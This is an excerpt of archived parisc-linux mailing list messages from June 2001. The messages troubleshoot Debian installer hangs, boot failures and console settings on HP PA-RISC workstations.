In-Reply-To: <200106022112.RAA27697@p2.buttafuoco.net>; from jim@buttafuoco.org on Sat, Jun 02, 2001 at 05:12:56PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11201

On Sat, Jun 02, 2001 at 05:12:56PM -0400, Jim Buttafuoco wrote:
> Richard,
> 
> It worked this way,  so I tried it again via the menus,  it still hung
> for a VERY long time and didn't finish.  Other than the debootstrap.log
> log file is there any way to debug this...

I don't have any ideas at the moment, I'll get back you if I think
of something.

If it worked invoking debootstrap manually, I guess you might be able
to complete the install, by selecting 'configure the base system',
'make system bootable' and 'reboot system' from the menu.  Havn't
tried that myself though.

When debootstrap is invoked directly from the installer it writes
a log to /target/tmp/debootstrap.log (i.e. tmp on the installed
system).  Can you get at that somehow and tell us what it contains?
probably just the last few lines will be enough.  You might be able
to ctrl-c back to the menu once it has hung, and then execute a
shell. Otherwise restart the installer, execute a shell, and mount
the partition.

Richard


> 
> Let me know
> Jim
> 
> > On Sat, Jun 02, 2001 at 12:56:03PM -0400, Jim Buttafuoco wrote:
> > > I am trying to install the .9 CD image via NFS on my 735.  The
> system
> > > boots into the installer fine.  I partitioned my disk and then the
> > > installed downloaded some packages.  After the download was complete
> the
> > > screen is displays a message "Installing essential packages".  I
> have
> > > left it there for over an hour now.  Is this normal.  If not what
> can I
> > > do...
> > 
> > Hi Jim,
> >   That is not normal, 5 or 10 minutes on a slow machine at most, I'd
> > guess.
> > 
> > The installer runs a script called debootstrap which downloads the
> > packages and then unpacks and configures them.  Sounds line something
> > has hung in the process.
> > 
> > I had it hang on my 715/old, because of problems with the alignment
> > of locks in glibc 2.2.1.  The installer is based on glibc 2.2.1 at
> > the moment, although you would typically upgrade to glibc 2.2.3
> > (which is also on the CD), after install.  That problem is processor
> > specific, and I wouldn't have expected it to affect the 735.
> > 
> > The base install uses slightly dated packages, because we had to
> > freeze the base package set early to have any chance of making the
> > installer work in time for release.
> > 
> > To find at what point it has hung the easiest thing to do is to
> > invoke debootstrap from a shell, rather than have the installer
> > do it automatically.  That way you see all the output.
> > 
> > You may just be able to ctrl-c back the the start of the installer,
> > otherwise start again.  Get to the point where the installer has
> > mounted your nfs source for you (I selected nfs source, and then
> > cancel when it asked me to choose the directory to install from).
> > Now scroll down the menu to 'execute a shell'.
> > 
> > You can use 'mount' and 'ls' to check that your nfs mount is ok.
> > Now do something like:
> > 
> >   debootstrap sid /target file:/instmnt/debian
> > 
> > /target is where the partition you are installing to is mounted.
> > There may be one or two prompts you have to hit return on, but
> > you should see a fairly steady stream of messages until
> > 
> >   I: Successfully completed
> >   umount: /dev/pts: not found
> > 
> > IIRC, my 715/old hung on unpacking or setting up ncurses5.
> > 
> > There are plenty of error msgs/warnings in the output, because
> > of unmet dependencies, etc, but debootstrap loops round a
> > number of times until everything is unpacked and configured and
> > dependencies are satisfied.
> > 
> > Let us know where it hangs,
> > 
> > Richard
> > 
> > 
> 
> 




From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .9 install problems on a 735
Date: Sun, 3 Jun 2001 09:03:09 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <20010603090309.G25745@linuxcare.com>
References: <200106022131.RAA28418@p2.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620167 20227 80.91.229.3 (22 Nov 2014 01:36:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jim Buttafuoco <jim@buttafuoco.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 02:06:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CA4C482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 02:06:23 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 73855B007; Sun,  3 Jun 2001 09:03:09 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200106022131.RAA28418@p2.buttafuoco.net>; from jim@buttafuoco.org on Sat, Jun 02, 2001 at 05:31:33PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11202

On Sat, Jun 02, 2001 at 05:31:33PM -0400, Jim Buttafuoco wrote:
> Richard,
> 
> Here is my /var/log/messages file, there are a few errors in it.  

Nothing to worry about here, all the 'expr' and '[' errors are
because of missing features in our build of busybox, so everyone
will be seeing those.

Richard


> Apr 27 14:48:52 (none)  syslogd started: BusyBox v0.51
> (2001.05.18-08:42+0000)
> Apr 27 14:50:57 (none) user.info dbootstrap[34]: mounting /dev/sda2 at
> /target
> Apr 27 14:51:09 (none) user.info dbootstrap[34]: mounting /dev/sda4 at
> /target/usr
> Apr 27 14:51:26 (none) daemon.info dhclient-2.2.x: Internet Software
> Consortium DHCP Client 2.0pl5
> Apr 27 14:51:26 (none) user.info dbootstrap[34]: Internet Software
> Consortium DHCP Client 2.0pl5 
> Apr 27 14:51:26 (none) daemon.info dhclient-2.2.x: Copyright 1995, 1996,
> 1997, 1998, 1999 The Internet Software Consortium.
> Apr 27 14:51:26 (none) user.info dbootstrap[34]: Copyright 1995, 1996,
> 1997, 1998, 1999 The Internet Software Consortium. 
> Apr 27 14:51:26 (none) daemon.info dhclient-2.2.x: All rights reserved.
> Apr 27 14:51:26 (none) user.info dbootstrap[34]: All rights reserved. 
> Apr 27 14:51:26 (none) daemon.info dhclient-2.2.x: 
> Apr 27 14:51:26 (none) user.info dbootstrap[34]:  
> Apr 27 14:51:26 (none) daemon.info dhclient-2.2.x: Please contribute if
> you find this software useful.
> Apr 27 14:51:26 (none) user.info dbootstrap[34]: Please contribute if
> you find this software useful. 
> Apr 27 14:51:26 (none) daemon.info dhclient-2.2.x: For info, please
> visit http://www.isc.org/dhcp-contrib.html
> Apr 27 14:51:26 (none) user.info dbootstrap[34]: For info, please visit
> http://www.isc.org/dhcp-contrib.html 
> Apr 27 14:51:26 (none) daemon.info dhclient-2.2.x: 
> Apr 27 14:51:26 (none) user.info dbootstrap[34]:  
> Apr 27 14:51:26 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:26 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:26 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:26 (none) user.info dbootstrap[34]: [: 2: unexpected
> operator 
> Apr 27 14:51:26 (none) user.info dbootstrap[34]: [: 2: unexpected
> operator 
> Apr 27 14:51:27 (none) daemon.info dhclient-2.2.x: Listening on
> LPF/eth0/08:00:09:48:34:29
> Apr 27 14:51:27 (none) user.info dbootstrap[34]: Listening on
> LPF/eth0/08:00:09:48:34:29 
> Apr 27 14:51:27 (none) daemon.info dhclient-2.2.x: BOOTREPLY from
> 192.1.3.13
> Apr 27 14:51:27 (none) user.info dbootstrap[34]: BOOTREPLY from
> 192.1.3.13 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: expr: not found 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: [: 2: unexpected
> operator 
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: [: 2: unexpected
> operator 
> Apr 27 14:51:28 (none) daemon.info dhclient-2.2.x: bound to 192.1.3.113
> -- renewal in 8000 seconds.
> Apr 27 14:51:28 (none) user.info dbootstrap[34]: bound to 192.1.3.113 --
> renewal in 8000 seconds. 
> Apr 27 14:51:28 (none) user.err dbootstrap[34]: The network has been
> successfully configured using DHCP/BOOTP.
> Apr 27 14:51:42 (none) user.info dbootstrap[34]: palo version 0.86
> bame@palinux Fri May 11 16:10:24 MDT 2001 




From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Pasi_K=E4rkk=E4inen?= <pasik@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel update?
Date: Sun, 3 Jun 2001 14:41:24 +0300 (EEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106031439480.24303-100000@edu.joroinen.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416620167 20231 80.91.229.3 (22 Nov 2014 01:36:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:07 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 05:41:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from edu.joroinen.fi (edu.joroinen.fi [195.156.135.125])
	by dsl2.external.hp.com (Postfix) with SMTP id 6F5A4482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 05:41:39 -0600 (MDT)
Original-Received: (qmail 19321 invoked by uid 519); 3 Jun 2001 11:41:24 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 3 Jun 2001 11:41:24 -0000
X-X-Sender: <pk@edu.joroinen.fi>
Xref: news.gmane.org gmane.linux.ports.parisc:11203

Hello!

When are you going to update the kernel? Or is pa-risc stuff merged to the
2.4.5 for example?


- Pasi K=E4rkk=E4inen


                                   ^
                                .     .
                                 Linux
                              /    -    \
                             Choice.of.the
                           .Next.Generation.





From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Failed boot on D310
Date: Sun, 3 Jun 2001 08:33:23 -0500 (CDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106030831300.10748-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620167 20235 80.91.229.3 (22 Nov 2014 01:36:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 07:31:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7C8B482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 07:31:52 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id IAA17717
	for <parisc-linux@parisc-linux.org>; Sun, 3 Jun 2001 08:33:23 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
Xref: news.gmane.org gmane.linux.ports.parisc:11204

I've got a D310 with a 100mhz processor and 128 megs of RAM. I tried to
boot the ISO version 0.9 last night, but it crashed on boot. I can get the
exact error messages, it looked like a register dump. 

Is there any reason to assume that this will or won't boot?

dave


-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failed boot on D310
Date: Sun, 3 Jun 2001 14:57:16 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010603145716.J25745@linuxcare.com>
References: <Pine.LNX.4.21.0106030831300.10748-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620168 20237 80.91.229.3 (22 Nov 2014 01:36:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: djweis@sjdjweis.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 08:00:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72E99482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 08:00:37 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C7364B007; Sun,  3 Jun 2001 14:57:16 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0106030831300.10748-100000@oliver.internal.sjdjweis.com>; from djweis@sjdjweis.com on Sun, Jun 03, 2001 at 08:33:23AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11205

On Sun, Jun 03, 2001 at 08:33:23AM -0500, djweis@sjdjweis.com wrote:
> 
> I've got a D310 with a 100mhz processor and 128 megs of RAM. I tried to
> boot the ISO version 0.9 last night, but it crashed on boot. I can get the
> exact error messages, it looked like a register dump. 
> 
> Is there any reason to assume that this will or won't boot?

Listed as untested on http://parisc-linux.org/release-0.9/systems.html
Are you trying the serial or sti image?  If you can use serial, and
get you terminal emulator to capture the boot messages and crash for us,
that would help.

Thanks,
  Richard





From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: diab <diab@diab.rulez.org>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] dead keyboard after booting 0.61 STI32 iso on 
 a  715/100
Date: Sun, 3 Jun 2001 17:25:48 +0200 (CEST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106031715530.11894-100000@droid3.webreklam.hu>
References: <1A8904C3797ED411AC2E0008C7E6F88117C8D0@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620168 20241 80.91.229.3 (22 Nov 2014 01:36:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 09:25:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from droid3.webreklam.hu (para.abs0lut.com [195.56.113.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A6CA482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 09:25:54 -0600 (MDT)
Original-Received: from localhost (diab@localhost)
	by droid3.webreklam.hu (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA13179
	for <parisc-linux@parisc-linux.org>; Sun, 3 Jun 2001 17:25:48 +0200
X-Sender: diab@droid3.webreklam.hu
In-Reply-To: <1A8904C3797ED411AC2E0008C7E6F88117C8D0@nlntmail2b.ats.nld.alcatel.nl>
Xref: news.gmane.org gmane.linux.ports.parisc:11206

% Just for the record,
% Have identical behaviour with c110, with ps/2 keyboard&mouse.
% Tried 0.6 and 0.6.1, both freezes after the login prompt.....
found the solution :) its pretty dunb though

the problem is that 0.6 and 0.61 gives "console=tty" to the kernel on
boot, instead of "console=tty0" (as in 0.9)

tried to boot 0.61 (used palo to modify console=tty to tty0) and it works
flawlessly. ok lets say i was able to bring up eth0 and nfsmount the 0.9
iso remotely on my linux box. aint got a cd burner here at home so i
should use nfs somehow. 

anyways i found no up2date NFS howtos on the
web, but an old one (2000.02) and somehow the nfsroot=mynfsserverip 
approach seemed to be not working.. gave me stupid read and seek error codes. 

anyways can i use the same lif images/kernels to boot from nfs? i dont
feel like building a cross compiler environment just for this.
if not - if would be nice to provide nfsboot capable kernel images for the
cdless people.

the sti console works fine and everything seems to be ok. this is a
715/100. see if i can copy the 0.9 over and make it working

regards,

--
diab






From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dead keyboard after booting 0.61 STI32 iso on a  715/100
Date: Sun, 3 Jun 2001 18:17:34 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <20010603181734.K25745@linuxcare.com>
References: <1A8904C3797ED411AC2E0008C7E6F88117C8D0@nlntmail2b.ats.nld.alcatel.nl> <Pine.LNX.4.21.0106031715530.11894-100000@droid3.webreklam.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620168 20244 80.91.229.3 (22 Nov 2014 01:36:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: diab <diab@diab.rulez.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 11:20:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33080482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 11:20:51 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1BAB3B007; Sun,  3 Jun 2001 18:17:34 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0106031715530.11894-100000@droid3.webreklam.hu>; from diab@diab.rulez.org on Sun, Jun 03, 2001 at 05:25:48PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11207

The 0.9 release CD does allow you to boot over the network and then
install to a local disk via nfs or http, at least.  The file you
boot is a 'lifimage', and in this case contains a kernel and
ramdisk.  To quote the README on the 0.9 CD:

> The contents of this CD can be used to do network installs on any
> supported system.  To do that, you need to make the CD contents
> available over the network.  Acces via http and nfs have been tested.
> In addition, you need to boot the relevant lifimage file over the
> network to start the install proceedure.  The lifimages are
> 
> debian/dists/sid/main/disks-hppa/current/wide/serial/lifimage
> debian/dists/sid/main/disks-hppa/current/narrow/serial/lifimage
> debian/dists/sid/main/disks-hppa/current/sti/lifimage
> 
> Choose the appropriate one for your needs.  Most machines do a network
> boot via bootp, but some older machines use rbootd.  If you cannot
> find rbootd please visit our web site.
> 
> Installing from the network is a little more involved than from CD, as
> you have to specify more details regarding the archive location.  The
> path you specify for loading kernel and modules should be one of
> ..../current/narrow, ..../current/wide, or ..../current/sti.  The path
> you specify for installing the base system should be ..../debian.

Hope that helps.

Richard.


On Sun, Jun 03, 2001 at 05:25:48PM +0200, diab wrote:
> % Just for the record,
> % Have identical behaviour with c110, with ps/2 keyboard&mouse.
> % Tried 0.6 and 0.6.1, both freezes after the login prompt.....
> found the solution :) its pretty dunb though
> 
> the problem is that 0.6 and 0.61 gives "console=tty" to the kernel on
> boot, instead of "console=tty0" (as in 0.9)
> 
> tried to boot 0.61 (used palo to modify console=tty to tty0) and it works
> flawlessly. ok lets say i was able to bring up eth0 and nfsmount the 0.9
> iso remotely on my linux box. aint got a cd burner here at home so i
> should use nfs somehow. 
> 
> anyways i found no up2date NFS howtos on the
> web, but an old one (2000.02) and somehow the nfsroot=mynfsserverip 
> approach seemed to be not working.. gave me stupid read and seek error codes. 
> 
> anyways can i use the same lif images/kernels to boot from nfs? i dont
> feel like building a cross compiler environment just for this.
> if not - if would be nice to provide nfsboot capable kernel images for the
> cdless people.
> 
> the sti console works fine and everything seems to be ok. this is a
> 715/100. see if i can copy the 0.9 over and make it working
> 
> regards,
> 
> --
> diab
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failed boot on D310
Date: Sun, 3 Jun 2001 12:41:46 -0500 (CDT)
Lines: 63
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106031239020.10748-100000@oliver.internal.sjdjweis.com>
References: <20010603145716.J25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620169 20246 80.91.229.3 (22 Nov 2014 01:36:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 11:40:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FEAC482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 11:40:34 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id MAA18046;
	Sun, 3 Jun 2001 12:41:46 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <20010603145716.J25745@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11208

On Sun, 3 Jun 2001, Richard Hirst wrote:
> On Sun, Jun 03, 2001 at 08:33:23AM -0500, djweis@sjdjweis.com wrote:
> > I've got a D310 with a 100mhz processor and 128 megs of RAM. I tried to
> > boot the ISO version 0.9 last night, but it crashed on boot. I can get the
> > exact error messages, it looked like a register dump. 
> > 
> > Is there any reason to assume that this will or won't boot?
> Listed as untested on http://parisc-linux.org/release-0.9/systems.html
> Are you trying the serial or sti image?  If you can use serial, and
> get you terminal emulator to capture the boot messages and crash for us,
> that would help.

It's headless, I was using the serial image. Below is my terminal output

Main Menu: Enter command > search
Searching for potential boot
device(s)...                                       This may take several
minutes.                                                                                                                                  To
discontinue search, press any key (termination may not be
immediate).                                                                                                                                                                           Path
Number        Device Path (dec)        Device Type
-----------        -----------------        -----------
P0                 4.5                      Random access media
P1                 4.11                     Random access media
P2                 4.10                     Random access media
P3                 4.9                      Random access media
P4                 4.8                      Random access media
P5                 16/5.2                   Random access media
P6                 16/5.0                   Sequential access media
P7                 16/6.0                   LAN Module
Main Menu: Enter command > boot P5
Interact with IPL (Y or N)?> n

Booting...                                                                      
Boot IO Dependent Code (IODC) revision 1
WARN 80F9
Cannot find ENTRY_TEST.
WARN 80F7
         Failed I/O operation with
ENTRY_IO
Status = -4                                                                     

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00004001 00000028 E8040782 01000084 800400DC 00000000 0025F040 00000000
98080000 0000DA2C 0000DA2C 00000000 00000002 00000003 00000011 00000005
WARN C7F0
Error Reading IPL

Thanks for any help.

dave


-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failed boot on D310
Date: Sun, 3 Jun 2001 19:29:02 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20010603192902.L25745@linuxcare.com>
References: <20010603145716.J25745@linuxcare.com> <Pine.LNX.4.21.0106031239020.10748-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620169 20250 80.91.229.3 (22 Nov 2014 01:36:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: djweis@sjdjweis.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 12:32:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F8664852
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 12:32:18 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1B666B007; Sun,  3 Jun 2001 19:29:02 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0106031239020.10748-100000@oliver.internal.sjdjweis.com>; from djweis@sjdjweis.com on Sun, Jun 03, 2001 at 12:41:46PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11209

On Sun, Jun 03, 2001 at 12:41:46PM -0500, djweis@sjdjweis.com wrote:
> 
> On Sun, 3 Jun 2001, Richard Hirst wrote:
> > On Sun, Jun 03, 2001 at 08:33:23AM -0500, djweis@sjdjweis.com wrote:
> > > I've got a D310 with a 100mhz processor and 128 megs of RAM. I tried to
> > > boot the ISO version 0.9 last night, but it crashed on boot. I can get the
> > > exact error messages, it looked like a register dump. 
> > > 
> > > Is there any reason to assume that this will or won't boot?
> > Listed as untested on http://parisc-linux.org/release-0.9/systems.html
> > Are you trying the serial or sti image?  If you can use serial, and
> > get you terminal emulator to capture the boot messages and crash for us,
> > that would help.
> 
> It's headless, I was using the serial image. Below is my terminal output
> 
> Main Menu: Enter command > search
> Searching for potential boot
> device(s)...                                       This may take several
> minutes.                                                                                                                                  To
> discontinue search, press any key (termination may not be
> immediate).                                                                                                                                                                           Path
> Number        Device Path (dec)        Device Type
> -----------        -----------------        -----------
> P0                 4.5                      Random access media
> P1                 4.11                     Random access media
> P2                 4.10                     Random access media
> P3                 4.9                      Random access media
> P4                 4.8                      Random access media
> P5                 16/5.2                   Random access media
> P6                 16/5.0                   Sequential access media
> P7                 16/6.0                   LAN Module
> Main Menu: Enter command > boot P5
> Interact with IPL (Y or N)?> n
> 
> Booting...                                                                      
> Boot IO Dependent Code (IODC) revision 1
> WARN 80F9
> Cannot find ENTRY_TEST.
> WARN 80F7
>          Failed I/O operation with
> ENTRY_IO
> Status = -4                                                                     
> 
> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> 00004001 00000028 E8040782 01000084 800400DC 00000000 0025F040 00000000
> 98080000 0000DA2C 0000DA2C 00000000 00000002 00000003 00000011 00000005
> WARN C7F0
> Error Reading IPL

Ah, I'd assumed it got as far as starting the kernel and then the
kernel crashed.  In this case I think it has failed reading the
CD.  Can you read the CD on some other system to check it burned
ok?  Are you confident that the CD drive is P5 and is working?

An alternative is to boot the relevant lifimage over the network,
and then either install from the network or from the CD (if the
net booted kernel sees the CD).  See the REAME on the CD for details.

Richard





From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: diab <diab@diab.rulez.org>
Newsgroups: gmane.linux.ports.parisc
